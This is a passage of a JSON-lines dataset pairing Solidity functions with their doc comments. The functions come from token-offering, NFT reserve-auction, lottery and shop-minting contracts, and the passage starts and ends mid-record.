uint112[] amounts)\r\n {\r\n Destination[] storage destinations = _destinations[investor];\r\n wallets = new address[](destinations.length);\r\n amounts = new uint112[](destinations.length);\r\n uint256 idx;\r\n while(idx < destinations.length) {\r\n wallets[idx] = destinations[idx].investor;\r\n amounts[idx] = destinations[idx].amount;\r\n idx += 1;\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @notice unlocks 'investor' tokens by making them withdrawable from paymentToken\n/// @dev expects number of neumarks that is due on investor's account to be approved for LockedAccount for transfer\n/// @dev there are 3 unlock modes depending on contract and investor state\n/// in 'AcceptingUnlocks' state Neumarks due will be burned and funds transferred to investors address in paymentToken,\n/// before unlockDate, penalty is deduced and distributed", "function_code": "function unlockInvestor(address investor)\r\n private\r\n {\r\n // use memory storage to obtain copy and be able to erase storage\r\n Account memory accountInMem = _accounts[investor];\r\n\r\n // silently return on non-existing accounts\r\n if (accountInMem.balance == 0) {\r\n return;\r\n }\r\n // remove investor account before external calls\r\n removeInvestor(investor, accountInMem.balance);\r\n\r\n // transfer Neumarks to be burned to itself via allowance mechanism\r\n // not enough allowance results in revert which is acceptable state so 'require' is used\r\n require(NEUMARK.transferFrom(investor, address(this), accountInMem.neumarksDue));\r\n\r\n // burn neumarks corresponding to unspent funds\r\n NEUMARK.burn(accountInMem.neumarksDue);\r\n\r\n // take the penalty if before unlockDate\r\n if (block.timestamp < accountInMem.unlockDate) {\r\n address penaltyDisbursalAddress = UNIVERSE.feeDisbursal();\r\n require(penaltyDisbursalAddress != address(0));\r\n uint112 penalty = uint112(decimalFraction(accountInMem.balance, PENALTY_FRACTION));\r\n // distribution via ERC223 to contract or simple address\r\n assert(PAYMENT_TOKEN.transfer(penaltyDisbursalAddress, penalty, abi.encodePacked(NEUMARK)));\r\n emit LogPenaltyDisbursed(penaltyDisbursalAddress, investor, penalty, PAYMENT_TOKEN);\r\n accountInMem.balance -= penalty;\r\n }\r\n // transfer amount back to investor - now it can withdraw\r\n assert(PAYMENT_TOKEN.transfer(investor, accountInMem.balance, \"\"));\r\n emit LogFundsUnlocked(investor, accountInMem.balance, accountInMem.neumarksDue);\r\n }", "version": "0.4.25"} {"comment": "/// @notice locks funds of investors for a period of time, called by migration\n/// @param investor funds owner\n/// @param amount amount of funds locked\n/// @param neumarks amount of neumarks that needs to be returned by investor to unlock funds\n/// @param unlockDate unlockDate of migrating account\n/// @dev used only by migration", "function_code": "function lock(address investor, uint112 amount, uint112 neumarks, uint32 unlockDate)\r\n private\r\n acceptAgreement(investor)\r\n {\r\n require(amount > 0);\r\n Account storage account = _accounts[investor];\r\n if (account.unlockDate == 0) {\r\n // this is new account - unlockDate always > 0\r\n _totalInvestors += 1;\r\n }\r\n\r\n // update holdings\r\n account.balance = addBalance(account.balance, amount);\r\n account.neumarksDue = add112(account.neumarksDue, neumarks);\r\n // overwrite unlockDate if it is earler. we do not supporting joining tickets from different investors\r\n // this will discourage sending 1 wei to move unlock date\r\n if (unlockDate > account.unlockDate) {\r\n account.unlockDate = unlockDate;\r\n }\r\n\r\n emit LogFundsLocked(investor, amount, neumarks);\r\n }", "version": "0.4.25"} {"comment": "// calculates investor's and platform operator's neumarks from total reward", "function_code": "function calculateNeumarkDistribution(uint256 rewardNmk)\r\n public\r\n pure\r\n returns (uint256 platformNmk, uint256 investorNmk)\r\n {\r\n // round down - platform may get 1 wei less than investor\r\n platformNmk = rewardNmk / PLATFORM_NEUMARK_SHARE;\r\n // rewardNmk > platformNmk always\r\n return (platformNmk, rewardNmk - platformNmk);\r\n }", "version": "0.4.25"} {"comment": "// calculates token amount for a given commitment at a position of the curve\n// we require that equity token precision is 0", "function_code": "function calculateTokenAmount(uint256 /*totalEurUlps*/, uint256 committedEurUlps)\r\n public\r\n constant\r\n returns (uint256 tokenAmountInt)\r\n {\r\n // we may disregard totalEurUlps as curve is flat, round down when calculating tokens\r\n return committedEurUlps / calculatePriceFraction(10**18 - PUBLIC_DISCOUNT_FRAC);\r\n }", "version": "0.4.25"} {"comment": "// calculate contribution of investor", "function_code": "function calculateContribution(\r\n address investor,\r\n uint256 totalContributedEurUlps,\r\n uint256 existingInvestorContributionEurUlps,\r\n uint256 newInvestorContributionEurUlps,\r\n bool applyWhitelistDiscounts\r\n )\r\n public\r\n constant\r\n returns (\r\n bool isWhitelisted,\r\n bool isEligible,\r\n uint256 minTicketEurUlps,\r\n uint256 maxTicketEurUlps,\r\n uint256 equityTokenInt,\r\n uint256 fixedSlotEquityTokenInt\r\n )\r\n {\r\n (\r\n isWhitelisted,\r\n minTicketEurUlps,\r\n maxTicketEurUlps,\r\n equityTokenInt,\r\n fixedSlotEquityTokenInt\r\n ) = calculateContributionPrivate(\r\n investor,\r\n totalContributedEurUlps,\r\n existingInvestorContributionEurUlps,\r\n newInvestorContributionEurUlps,\r\n applyWhitelistDiscounts);\r\n // check if is eligible for investment\r\n IdentityClaims memory claims = deserializeClaims(IDENTITY_REGISTRY.getClaims(investor));\r\n isEligible = claims.isVerified && !claims.accountFrozen;\r\n }", "version": "0.4.25"} {"comment": "/// @notice checks terms against platform terms, reverts on invalid", "function_code": "function requireValidTerms(PlatformTerms platformTerms)\r\n public\r\n constant\r\n returns (bool)\r\n {\r\n // apply constraints on retail fundraising\r\n if (ALLOW_RETAIL_INVESTORS) {\r\n // make sure transfers are disabled after offering for retail investors\r\n require(!ENABLE_TRANSFERS_ON_SUCCESS, \"NF_MUST_DISABLE_TRANSFERS\");\r\n } else {\r\n // only qualified investors allowed defined as tickets > 100000 EUR\r\n require(MIN_TICKET_EUR_ULPS >= MIN_QUALIFIED_INVESTOR_TICKET_EUR_ULPS, \"NF_MIN_QUALIFIED_INVESTOR_TICKET\");\r\n }\r\n // min ticket must be > token price\r\n require(MIN_TICKET_EUR_ULPS >= TOKEN_TERMS.TOKEN_PRICE_EUR_ULPS(), \"NF_MIN_TICKET_LT_TOKEN_PRICE\");\r\n // it must be possible to collect more funds than max number of tokens\r\n require(ESTIMATED_MAX_CAP_EUR_ULPS() >= MIN_TICKET_EUR_ULPS, \"NF_MAX_FUNDS_LT_MIN_TICKET\");\r\n\r\n require(MIN_TICKET_EUR_ULPS >= platformTerms.MIN_TICKET_EUR_ULPS(), \"NF_ETO_TERMS_MIN_TICKET_EUR_ULPS\");\r\n // duration checks\r\n require(DURATION_TERMS.WHITELIST_DURATION() >= platformTerms.MIN_WHITELIST_DURATION(), \"NF_ETO_TERMS_WL_D_MIN\");\r\n require(DURATION_TERMS.WHITELIST_DURATION() <= platformTerms.MAX_WHITELIST_DURATION(), \"NF_ETO_TERMS_WL_D_MAX\");\r\n\r\n require(DURATION_TERMS.PUBLIC_DURATION() >= platformTerms.MIN_PUBLIC_DURATION(), \"NF_ETO_TERMS_PUB_D_MIN\");\r\n require(DURATION_TERMS.PUBLIC_DURATION() <= platformTerms.MAX_PUBLIC_DURATION(), \"NF_ETO_TERMS_PUB_D_MAX\");\r\n\r\n uint256 totalDuration = DURATION_TERMS.WHITELIST_DURATION() + DURATION_TERMS.PUBLIC_DURATION();\r\n require(totalDuration >= platformTerms.MIN_OFFER_DURATION(), \"NF_ETO_TERMS_TOT_O_MIN\");\r\n require(totalDuration <= platformTerms.MAX_OFFER_DURATION(), \"NF_ETO_TERMS_TOT_O_MAX\");\r\n\r\n require(DURATION_TERMS.SIGNING_DURATION() >= platformTerms.MIN_SIGNING_DURATION(), \"NF_ETO_TERMS_SIG_MIN\");\r\n require(DURATION_TERMS.SIGNING_DURATION() <= platformTerms.MAX_SIGNING_DURATION(), \"NF_ETO_TERMS_SIG_MAX\");\r\n\r\n require(DURATION_TERMS.CLAIM_DURATION() >= platformTerms.MIN_CLAIM_DURATION(), \"NF_ETO_TERMS_CLAIM_MIN\");\r\n require(DURATION_TERMS.CLAIM_DURATION() <= platformTerms.MAX_CLAIM_DURATION(), \"NF_ETO_TERMS_CLAIM_MAX\");\r\n\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// @notice time induced state transitions, called before logic\n// @dev don't use `else if` and keep sorted by time and call `state()`\n// or else multiple transitions won't cascade properly.", "function_code": "function advanceTimedState()\r\n private\r\n {\r\n // if timed state machine was not run, the next state will never come\r\n if (_pastStateTransitionTimes[uint32(ETOState.Setup)] == 0) {\r\n return;\r\n }\r\n\r\n uint256 t = block.timestamp;\r\n if (_state == ETOState.Setup && t >= startOfInternal(ETOState.Whitelist)) {\r\n transitionTo(ETOState.Whitelist);\r\n }\r\n if (_state == ETOState.Whitelist && t >= startOfInternal(ETOState.Public)) {\r\n transitionTo(ETOState.Public);\r\n }\r\n if (_state == ETOState.Public && t >= startOfInternal(ETOState.Signing)) {\r\n transitionTo(ETOState.Signing);\r\n }\r\n // signing to refund: first we check if it's claim time and if it we go\r\n // for refund. to go to claim agreement MUST be signed, no time transition\r\n if (_state == ETOState.Signing && t >= startOfInternal(ETOState.Claim)) {\r\n transitionTo(ETOState.Refund);\r\n }\r\n // claim to payout\r\n if (_state == ETOState.Claim && t >= startOfInternal(ETOState.Payout)) {\r\n transitionTo(ETOState.Payout);\r\n }\r\n }", "version": "0.4.25"} {"comment": "/// @notice executes transition state function", "function_code": "function transitionTo(ETOState newState)\r\n private\r\n {\r\n ETOState oldState = _state;\r\n ETOState effectiveNewState = mBeforeStateTransition(oldState, newState);\r\n // require(validTransition(oldState, effectiveNewState));\r\n\r\n _state = effectiveNewState;\r\n // store deadline for previous state\r\n uint32 deadline = _pastStateTransitionTimes[uint256(oldState)];\r\n // if transition came before deadline, count time from timestamp, if after always count from deadline\r\n if (uint32(block.timestamp) < deadline) {\r\n deadline = uint32(block.timestamp);\r\n }\r\n // we have 60+ years for 2^32 overflow on epoch so disregard\r\n _pastStateTransitionTimes[uint256(oldState)] = deadline;\r\n // set deadline on next state\r\n _pastStateTransitionTimes[uint256(effectiveNewState)] = deadline + ETO_STATE_DURATIONS[uint256(effectiveNewState)];\r\n // should not change _state\r\n mAfterTransition(oldState, effectiveNewState);\r\n assert(_state == effectiveNewState);\r\n // should notify observer after internal state is settled\r\n COMMITMENT_OBSERVER.onStateTransition(oldState, effectiveNewState);\r\n emit LogStateTransition(uint32(oldState), uint32(effectiveNewState), deadline);\r\n }", "version": "0.4.25"} {"comment": "////////////////////////\n/// @dev sets timed state machine in motion", "function_code": "function setStartDate(\r\n ETOTerms etoTerms,\r\n IEquityToken equityToken,\r\n uint256 startDate\r\n )\r\n external\r\n onlyCompany\r\n onlyWithAgreement\r\n withStateTransition()\r\n onlyState(ETOState.Setup)\r\n {\r\n require(etoTerms == ETO_TERMS);\r\n require(equityToken == EQUITY_TOKEN);\r\n assert(startDate < 0xFFFFFFFF);\r\n // must be more than NNN days (platform terms!)\r\n require(\r\n startDate > block.timestamp && startDate - block.timestamp > PLATFORM_TERMS.DATE_TO_WHITELIST_MIN_DURATION(),\r\n \"NF_ETO_DATE_TOO_EARLY\");\r\n // prevent re-setting start date if ETO starts too soon\r\n uint256 startAt = startOfInternal(ETOState.Whitelist);\r\n // block.timestamp must be less than startAt, otherwise timed state transition is done\r\n require(\r\n startAt == 0 || (startAt - block.timestamp > PLATFORM_TERMS.DATE_TO_WHITELIST_MIN_DURATION()),\r\n \"NF_ETO_START_TOO_SOON\");\r\n runStateMachine(uint32(startDate));\r\n // todo: lock ETO_TERMS whitelist to be more trustless\r\n\r\n emit LogTermsSet(msg.sender, address(etoTerms), address(equityToken));\r\n emit LogETOStartDateSet(msg.sender, startAt, startDate);\r\n }", "version": "0.4.25"} {"comment": "/// commit function happens via ERC223 callback that must happen from trusted payment token\n/// @dev data in case of LockedAccount contains investor address and investor is LockedAccount address", "function_code": "function tokenFallback(address wallet, uint256 amount, bytes data)\r\n public\r\n withStateTransition()\r\n onlyStates(ETOState.Whitelist, ETOState.Public)\r\n {\r\n uint256 equivEurUlps = amount;\r\n bool isEuroInvestment = msg.sender == address(EURO_TOKEN);\r\n bool isEtherInvestment = msg.sender == address(ETHER_TOKEN);\r\n // we trust only tokens below\r\n require(isEtherInvestment || isEuroInvestment, \"NF_ETO_UNK_TOKEN\");\r\n // check if LockedAccount\r\n bool isLockedAccount = (wallet == address(ETHER_LOCK) || wallet == address(EURO_LOCK));\r\n address investor = wallet;\r\n if (isLockedAccount) {\r\n // data contains investor address\r\n investor = decodeAddress(data);\r\n }\r\n if (isEtherInvestment) {\r\n // compute EUR eurEquivalent via oracle if ether\r\n (uint256 rate, uint256 rateTimestamp) = CURRENCY_RATES.getExchangeRate(ETHER_TOKEN, EURO_TOKEN);\r\n // require if rate older than 4 hours\r\n require(block.timestamp - rateTimestamp < TOKEN_RATE_EXPIRES_AFTER, \"NF_ETO_INVALID_ETH_RATE\");\r\n equivEurUlps = decimalFraction(amount, rate);\r\n }\r\n // agreement accepted by act of reserving funds in this function\r\n acceptAgreementInternal(investor);\r\n // we modify state and emit events in function below\r\n processTicket(investor, wallet, amount, equivEurUlps, isEuroInvestment);\r\n }", "version": "0.4.25"} {"comment": "//\n// Overrides internal interface\n//", "function_code": "function mAdavanceLogicState(ETOState oldState)\r\n internal\r\n constant\r\n returns (ETOState)\r\n {\r\n // add 1 to MIN_TICKET_TOKEN because it was produced by floor and check only MAX CAP\r\n // WHITELIST CAP will not induce state transition as fixed slots should be able to invest till the end of Whitelist\r\n bool capExceeded = isCapExceeded(false, MIN_TICKET_TOKENS + 1, 0);\r\n if (capExceeded) {\r\n if (oldState == ETOState.Whitelist) {\r\n return ETOState.Public;\r\n }\r\n if (oldState == ETOState.Public) {\r\n return ETOState.Signing;\r\n }\r\n }\r\n if (oldState == ETOState.Signing && _nomineeSignedInvestmentAgreementUrlHash != bytes32(0)) {\r\n return ETOState.Claim;\r\n }\r\n return oldState;\r\n }", "version": "0.4.25"} {"comment": "// a copy of PlatformTerms working on local storage", "function_code": "function calculateNeumarkDistribution(uint256 rewardNmk)\r\n private\r\n constant\r\n returns (uint256 platformNmk, uint256 investorNmk)\r\n {\r\n // round down - platform may get 1 wei less than investor\r\n platformNmk = rewardNmk / PLATFORM_NEUMARK_SHARE;\r\n // rewardNmk > platformNmk always\r\n return (platformNmk, rewardNmk - platformNmk);\r\n }", "version": "0.4.25"} {"comment": "/// called on transition to ETOState.Claim", "function_code": "function onClaimTransition()\r\n private\r\n {\r\n // platform operator gets share of NEU\r\n uint256 rewardNmk = NEUMARK.balanceOf(this);\r\n (uint256 platformNmk,) = calculateNeumarkDistribution(rewardNmk);\r\n assert(NEUMARK.transfer(PLATFORM_WALLET, platformNmk, \"\"));\r\n // company legal rep receives funds\r\n if (_additionalContributionEth > 0) {\r\n assert(ETHER_TOKEN.transfer(COMPANY_LEGAL_REPRESENTATIVE, _additionalContributionEth, \"\"));\r\n }\r\n\r\n if (_additionalContributionEurUlps > 0) {\r\n assert(EURO_TOKEN.transfer(COMPANY_LEGAL_REPRESENTATIVE, _additionalContributionEurUlps, \"\"));\r\n }\r\n // issue missing tokens\r\n EQUITY_TOKEN.issueTokens(_tokenParticipationFeeInt);\r\n emit LogPlatformNeuReward(PLATFORM_WALLET, rewardNmk, platformNmk);\r\n emit LogAdditionalContribution(COMPANY_LEGAL_REPRESENTATIVE, ETHER_TOKEN, _additionalContributionEth);\r\n emit LogAdditionalContribution(COMPANY_LEGAL_REPRESENTATIVE, EURO_TOKEN, _additionalContributionEurUlps);\r\n }", "version": "0.4.25"} {"comment": "/// called on transtion to ETOState.Refund", "function_code": "function onRefundTransition()\r\n private\r\n {\r\n // burn all neumark generated in this ETO\r\n uint256 balanceNmk = NEUMARK.balanceOf(this);\r\n uint256 balanceTokenInt = EQUITY_TOKEN.balanceOf(this);\r\n if (balanceNmk > 0) {\r\n NEUMARK.burn(balanceNmk);\r\n }\r\n // destroy all tokens generated in ETO\r\n if (balanceTokenInt > 0) {\r\n EQUITY_TOKEN.destroyTokens(balanceTokenInt);\r\n }\r\n emit LogRefundStarted(EQUITY_TOKEN, balanceTokenInt, balanceNmk);\r\n }", "version": "0.4.25"} {"comment": "/// called on transition to ETOState.Payout", "function_code": "function onPayoutTransition()\r\n private\r\n {\r\n // distribute what's left in balances: company took funds on claim\r\n address disbursal = UNIVERSE.feeDisbursal();\r\n assert(disbursal != address(0));\r\n address platformPortfolio = UNIVERSE.platformPortfolio();\r\n assert(platformPortfolio != address(0));\r\n bytes memory serializedAddress = abi.encodePacked(address(NEUMARK));\r\n // assert(decodeAddress(serializedAddress) == address(NEUMARK));\r\n if (_platformFeeEth > 0) {\r\n // disburse via ERC223, where we encode token used to provide pro-rata in `data` parameter\r\n assert(ETHER_TOKEN.transfer(disbursal, _platformFeeEth, serializedAddress));\r\n }\r\n if (_platformFeeEurUlps > 0) {\r\n // disburse via ERC223\r\n assert(EURO_TOKEN.transfer(disbursal, _platformFeeEurUlps, serializedAddress));\r\n }\r\n // add token participation fee to platfrom portfolio\r\n EQUITY_TOKEN.distributeTokens(platformPortfolio, _tokenParticipationFeeInt);\r\n\r\n emit LogPlatformFeePayout(ETHER_TOKEN, disbursal, _platformFeeEth);\r\n emit LogPlatformFeePayout(EURO_TOKEN, disbursal, _platformFeeEurUlps);\r\n emit LogPlatformPortfolioPayout(EQUITY_TOKEN, platformPortfolio, _tokenParticipationFeeInt);\r\n }", "version": "0.4.25"} {"comment": "/**\n * @dev Returns the seller that put a given NFT into escrow,\n * or bubbles the call up to check the current owner if the NFT is not currently in escrow.\n */", "function_code": "function _getSellerFor(address nftContract, uint256 tokenId)\n internal\n view\n virtual\n override\n returns (address payable)\n {\n address payable seller = auctionIdToAuction[\n nftContractToTokenIdToAuctionId[nftContract][tokenId]\n ].seller;\n if (seller == address(0)) {\n return super._getSellerFor(nftContract, tokenId);\n }\n return seller;\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Creates an auction for the given NFT.\n * The NFT is held in escrow until the auction is finalized or canceled.\n */", "function_code": "function createReserveAuction(\n address nftContract,\n uint256 tokenId,\n uint256 reservePrice\n )\n public\n onlyValidAuctionConfig(reservePrice)\n nonReentrant\n notBanned(nftContract, tokenId)\n {\n // If an auction is already in progress then the NFT would be in escrow and the modifier would have failed\n uint256 auctionId = _getNextAndIncrementAuctionId();\n nftContractToTokenIdToAuctionId[nftContract][tokenId] = auctionId;\n auctionIdToAuction[auctionId] = ReserveAuction(\n nftContract,\n tokenId,\n payable(msg.sender),\n _duration,\n EXTENSION_DURATION,\n 0, // endTime is only known once the reserve price is met\n payable(address(0)), // bidder is only known once a bid has been placed\n reservePrice\n );\n\n IERC721Upgradeable(nftContract).transferFrom(\n msg.sender,\n address(this),\n tokenId\n );\n\n emit ReserveAuctionCreated(\n msg.sender,\n nftContract,\n tokenId,\n _duration,\n EXTENSION_DURATION,\n reservePrice,\n auctionId\n );\n }", "version": "0.8.4"} {"comment": "/**\n * @notice If an auction has been created but has not yet received bids, the configuration\n * such as the reservePrice may be changed by the seller.\n */", "function_code": "function updateReserveAuction(uint256 auctionId, uint256 reservePrice)\n public\n onlyValidAuctionConfig(reservePrice)\n {\n ReserveAuction storage auction = auctionIdToAuction[auctionId];\n require(\n auction.seller == msg.sender,\n \"NFTMarketReserveAuction: Not your auction\"\n );\n require(\n auction.endTime == 0,\n \"NFTMarketReserveAuction: Auction in progress\"\n );\n\n auction.amount = reservePrice;\n\n emit ReserveAuctionUpdated(auctionId, reservePrice);\n }", "version": "0.8.4"} {"comment": "/**\n * @notice If an auction has been created but has not yet received bids, it may be canceled by the seller.\n * The NFT is returned to the seller from escrow.\n */", "function_code": "function cancelReserveAuction(uint256 auctionId) public nonReentrant {\n ReserveAuction memory auction = auctionIdToAuction[auctionId];\n require(\n auction.seller == msg.sender,\n \"NFTMarketReserveAuction: Not your auction\"\n );\n require(\n auction.endTime == 0,\n \"NFTMarketReserveAuction: Auction in progress\"\n );\n\n delete nftContractToTokenIdToAuctionId[auction.nftContract][\n auction.tokenId\n ];\n delete auctionIdToAuction[auctionId];\n\n IERC721Upgradeable(auction.nftContract).transferFrom(\n address(this),\n auction.seller,\n auction.tokenId\n );\n\n emit ReserveAuctionCanceled(auctionId);\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Once the countdown has expired for an auction, anyone can settle the auction.\n * This will send the NFT to the highest bidder and distribute funds.\n */", "function_code": "function finalizeReserveAuction(uint256 auctionId) public nonReentrant {\n ReserveAuction memory auction = auctionIdToAuction[auctionId];\n require(\n auction.endTime > 0,\n \"NFTMarketReserveAuction: Auction was already settled\"\n );\n require(\n auction.endTime < block.timestamp,\n \"NFTMarketReserveAuction: Auction still in progress\"\n );\n\n delete nftContractToTokenIdToAuctionId[auction.nftContract][\n auction.tokenId\n ];\n delete auctionIdToAuction[auctionId];\n\n IERC721Upgradeable(auction.nftContract).transferFrom(\n address(this),\n auction.bidder,\n auction.tokenId\n );\n\n (\n uint256 blsFee,\n uint256 creatorFee,\n uint256 ownerRev\n ) = _distributeFunds(\n auction.nftContract,\n auction.tokenId,\n auction.seller,\n auction.amount\n );\n\n emit ReserveAuctionFinalized(\n auctionId,\n auction.seller,\n auction.bidder,\n blsFee,\n creatorFee,\n ownerRev\n );\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Determines the minimum bid amount when outbidding another user.\n */", "function_code": "function _getMinBidAmountForReserveAuction(uint256 currentBidAmount)\n private\n view\n returns (uint256)\n {\n uint256 minIncrement = currentBidAmount.mul(\n _minPercentIncrementInBasisPoints\n ) / BASIS_POINTS;\n if (minIncrement == 0) {\n // The next bid must be at least 1 wei greater than the current.\n return currentBidAmount.add(1);\n }\n return minIncrement.add(currentBidAmount);\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Allows Blocksport to cancel an auction, refunding the bidder and returning the NFT to the seller.\n * This should only be used for extreme cases such as DMCA takedown requests. The reason should always be provided.\n */", "function_code": "function _adminCancelReserveAuction(uint256 auctionId, string memory reason)\n private\n onlyBlocksportAdmin\n {\n require(\n bytes(reason).length > 0,\n \"NFTMarketReserveAuction: Include a reason for this cancellation\"\n );\n ReserveAuction memory auction = auctionIdToAuction[auctionId];\n require(\n auction.amount > 0,\n \"NFTMarketReserveAuction: Auction not found\"\n );\n\n delete nftContractToTokenIdToAuctionId[auction.nftContract][\n auction.tokenId\n ];\n delete auctionIdToAuction[auctionId];\n\n IERC721Upgradeable(auction.nftContract).transferFrom(\n address(this),\n auction.seller,\n auction.tokenId\n );\n if (auction.bidder != address(0)) {\n _sendValueWithFallbackWithdrawWithMediumGasLimit(\n auction.bidder,\n auction.amount\n );\n }\n\n emit ReserveAuctionCanceledByAdmin(auctionId, reason);\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Allows Blocksport to ban token, refunding the bidder and returning the NFT to the seller.\n */", "function_code": "function adminBanToken(\n address nftContract,\n uint256 tokenId,\n string memory reason\n ) public onlyBlocksportAdmin {\n require(\n bytes(reason).length > 0,\n \"NFTMarketReserveAuction: Include a reason for this ban\"\n );\n require(!bannedTokens[nftContract][tokenId], \"Token already banned\");\n uint256 auctionId = getReserveAuctionIdFor(nftContract, tokenId);\n\n if (auctionIdToAuction[auctionId].tokenId == tokenId) {\n bannedAuction[nftContract][tokenId] = auctionIdToAuction[auctionId];\n _adminCancelReserveAuction(auctionId, reason);\n emit ReserveAuctionBannedByAdmin(auctionId, reason);\n }\n\n bannedTokens[nftContract][tokenId] = true;\n emit TokenBannedByAdmin(nftContract, tokenId, reason);\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Allows Blocksport to unban token, and list it again with no bids in the auction.\n */", "function_code": "function adminUnbanToken(address nftContract, uint256 tokenId)\n public\n onlyBlocksportAdmin\n {\n require(\n !bannedTokens[nftContract][tokenId],\n \"NFTMarketReserveAuction: Token not banned\"\n );\n\n if (bannedAuction[nftContract][tokenId].tokenId > 0) {\n ReserveAuction memory auction = bannedAuction[nftContract][tokenId];\n delete bannedAuction[nftContract][tokenId];\n createReserveAuction(nftContract, auction.tokenId, auction.amount);\n emit ReserveAuctionUnbannedByAdmin(auction.tokenId);\n }\n\n delete bannedTokens[nftContract][tokenId];\n emit TokenUnbannedByAdmin(nftContract, tokenId);\n }", "version": "0.8.4"} {"comment": "/**\r\n * Begins the crowdsale (presale period)\r\n * @param tokenContractAddress - address of the `WIN` contract (token holder)\r\n * @dev must be called by one of owners\r\n */", "function_code": "function startPresale (address tokenContractAddress) onlyOneOfOwners { \r\n require(state == State.NotStarted);\r\n\r\n win = WIN(tokenContractAddress);\r\n\r\n assert(win.balanceOf(this) >= tokensForPeriod(0));\r\n\r\n periods[0] = Period(now, NEVER, PRESALE_TOKEN_PRICE, 0);\r\n PeriodStarted(0,\r\n PRESALE_TOKEN_PRICE,\r\n tokensForPeriod(currentPeriod),\r\n now,\r\n NEVER,\r\n now);\r\n state = State.Presale;\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Withdraws the money to be spent to Blind Croupier Project needs\r\n * @param amount - amount of Wei to withdraw (total)\r\n */", "function_code": "function withdraw (uint256 amount) onlyOneOfOwners { \r\n require(this.balance >= amount);\r\n\r\n uint totalShares = 0;\r\n for(var idx = 0; idx < owners.length; idx++) {\r\n totalShares += owners[idx].share;\r\n }\r\n\r\n for(idx = 0; idx < owners.length; idx++) {\r\n owners[idx].recipient.transfer(amount * owners[idx].share / totalShares);\r\n }\r\n }", "version": "0.4.15"} {"comment": "// function sliceBytes32To10(bytes32 input) public pure returns (bytes10 output) {\n// assembly {\n// output := input\n// }\n// }", "function_code": "function claim(address _to, uint256 _tokenId, string memory _tokenMidContent) public {\n require(_tokenId >= 0 && _tokenId < 2392, \"Token ID invalid\");\n if (_tokenId >= 0 && _tokenId < 104) {\n require(bytes(_tokenMidContent).length == 429, \"Token Content Size invalid\");\n require(_tokenMidContentHashes[_tokenId] == keccak256(abi.encodePacked(_tokenMidContent)), \"Token Content invalid\");\n } else {\n _tokenMidContent = \"\";\n }\n _safeMint(_to, _tokenId);\n _tokenMidContents[_tokenId] = _tokenMidContent;\n }", "version": "0.8.7"} {"comment": "/// @dev not test for functions related to signature", "function_code": "function verifySignature(\n uint256[] memory _tokenIds,\n uint256 _price,\n address _paymentTokenAddress,\n bytes memory _signature\n ) internal view returns (bool) {\n bytes32 messageHash = getMessageHash(\n _tokenIds,\n _price,\n _paymentTokenAddress\n );\n bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash);\n return recoverSigner(ethSignedMessageHash, _signature) == owner();\n }", "version": "0.8.7"} {"comment": "// ----- PUBLIC METHODS ----- //", "function_code": "function buyToken(\n uint256[] memory _tokenIds,\n uint256 _price,\n address _paymentToken,\n address _receiver,\n bytes memory _signature\n ) external payable {\n require(_tokenIds.length == 1, \"More than one token\");\n require(\n verifySignature(_tokenIds, _price, _paymentToken, _signature),\n \"Signature mismatch\"\n );\n if (_price != 0) {\n if (_paymentToken == address(0)) {\n require(msg.value >= _price, \"Not enough ether\");\n if (_price < msg.value) {\n payable(msg.sender).transfer(msg.value - _price);\n }\n } else {\n require(\n IERC20(_paymentToken).transferFrom(\n msg.sender,\n address(this),\n _price\n )\n );\n }\n }\n address[] memory receivers = new address[](1);\n receivers[0] = _receiver;\n IUniqCollections(_shopAddress).batchMintSelectedIds(\n _tokenIds,\n receivers\n );\n }", "version": "0.8.7"} {"comment": "//called when transfers happened, to ensure new users will generate tokens too", "function_code": "function rewardSystemUpdate(address from, address to) external {\n require(msg.sender == address(PixelTigers));\n if(from != address(0)){\n storeRewards[from] += pendingReward(from);\n lastUpdate[from] = block.timestamp;\n }\n if(to != address(0)){\n storeRewards[to] += pendingReward(to);\n lastUpdate[to] = block.timestamp;\n }\n }", "version": "0.8.4"} {"comment": "// Register player", "function_code": "function playerRegister(string memory name, uint64[] memory numbers) payable public {\r\n require(contractActive == true, \"Contract was disabled\");\r\n require(state == State.Accepting, \"Game state is not valid\");\r\n require(numbers.length > 0, \"At least 1 number\");\r\n require(msg.value >= minPrice * numbers.length, \"Value is not valid\");\r\n\r\n for (uint i = 0; i < playerList.length; i++) {\r\n require(playerList[i].playerAddress != msg.sender);\r\n for (uint j = 0; j < playerList[i].playerNumbers.length; j++) {\r\n require(playerList[i].playerNumbers[j] <= maxLuckyNumberRandom);\r\n }\r\n }\r\n\r\n totalFund += msg.value;\r\n Player memory player = Player(msg.sender, name, numbers);\r\n playerList.push(player);\r\n emit PlayerRegisterEvent(player.playerAddress);\r\n\r\n if (playerList.length >= playerInSession) {\r\n finishGame();\r\n\r\n if (contractActive) {\r\n // Init new game session\r\n gameInit();\r\n }\r\n }\r\n }", "version": "0.5.0"} {"comment": "// Emergency drain in case of a bug\n// Adds all funds to owner to refund people\n// Designed to be as simple as possible", "function_code": "function emergencyDrain24hAfterLiquidityGenerationEventIsDone() public onlyOwner {\n require(contractStartTimestamp.add(8 days) < block.timestamp, \"Liquidity generation grace period still ongoing\"); // About 24h after liquidity generation happens\n (bool success, ) = msg.sender.call.value(address(this).balance)(\"\");\n require(success, \"Transfer failed.\");\n _balances[msg.sender] = _balances[address(this)];\n _balances[address(this)] = 0;\n }", "version": "0.6.12"} {"comment": "// ------------------------------------------------------------------------\n// Transfer the balance from token owner's account to `to` account\n// - Owner's account must have sufficient balance to transfer\n// ------------------------------------------------------------------------", "function_code": "function transfer(address to, uint tokens) public returns (bool success) {\r\n require(to != address(0));\r\n require(tokens > 0);\r\n require(balances[msg.sender] >= tokens); \r\n \r\n balances[msg.sender] = balances[msg.sender].sub(tokens);\r\n balances[to] = balances[to].add(tokens);\r\n emit Transfer(msg.sender, to, tokens);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// Mint function for OG sale\n// Caller MUST be OG-Whitelisted to use this function!", "function_code": "function freeWhitelistMint() external isWallet enoughSupply(maxMintsOg) {\n require(freeWhitelistEnabled, 'OG sale not enabled');\n if (isGenesis) {\n require(genesisOg[msg.sender] >= 